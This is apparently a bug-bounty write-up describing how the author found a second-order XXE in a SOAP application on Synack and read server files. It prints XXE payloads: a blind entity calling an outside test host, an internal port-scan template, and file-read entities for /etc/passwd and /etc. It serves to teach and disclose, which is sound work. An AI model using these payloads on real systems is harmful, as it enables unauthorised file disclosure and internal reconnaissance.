Second Order XXE Exploitation
Hello, guys!
This writeup is about my recent discovery on Synack Red Team which was a Second Order XXE that allowed me to read files stored on the web server.
Please note that this article is not about how/why/when of the XXE attacks. This is just a single case of a non-trivial interesting XXE that I found and seems worth sharing. If you want to learn more about XXEs, you may refer to the following links:
Now to the blog.
A fresh target was onboarded in the morning and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps so I loaded the collections with their environments into my postman.
After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying “DOCTYPE is not allowed”.
Here, we cannot perform XXE as DOCTYPE
is explicitly blocked.
Upon checking all the modules one by one, I came across a module named NormalTextRepository
in the postman collection which had the following two requests:
saveNormalText
GetNamedNormalText
After sending the first saveNormalText
request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:
Upon decoding, the data looked like this:
<?xml version="1.0"?>
<normal xmlns="urn:hl7-org:v3" xmlns:XX="http://REDACTED.com/REDACTED"><content XX:status="normal" XX:state="normal">Synacktest</content></normal>
This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).
I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from PortSwigger:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/XXETEST"> %xxe; ]>
I used Synack’s provided web server to test for this. Upon checking its logs, I found out that there indeed was a hit for the /XXETEST
endpoint.
This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from PayloadsAllTheThings and HackTricks but they did not seem to work in my case.
In my case, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.
After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as we were able to send HTTP requests.
I sent the request to Burp Suite’s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:§1§/XXETEST"> %xxe; ]>
However, the result of the intruder was just not making any sense to me. All the ports that I fuzzed were throwing random time delays.
Lost all hope and was about to give up on this XXE once again. Then a thought struck my head. “If this data is being saved in the application, it has to be retriveable in some way as well”. I checked the other GetNamedNormalText
request in this module and instantly felt stupid. This request retrieved the data that we saved from the first saveNormalText
request.
I used the following XXE file read payload and saved the data:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
Then sent the second GetNamedNormalText
request to retrieve the saved data. And in the response, I could see the contents of the /etc/passwd
file!
This was enough for a proof of concept. However, looking at the JSESSIONCOOKIE, I could tell that the application was built using Java. And, in Java applications, if you just provide a directory instead of a file, it will list down the contents of that directory and return it.
To confirm this theory, I just removed the /passwd
portion from the above file read payload. The updated payload looked like this:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc"> ]>
Upon saving the above payload and retrieving it using the second request, we could see the directory listing of the /etc
directory!
Sent it to Synack and they happily triaged it within approximately 2 hours.
Thank you for reading. :)
You can reach out to me at @kuldeepdotexe.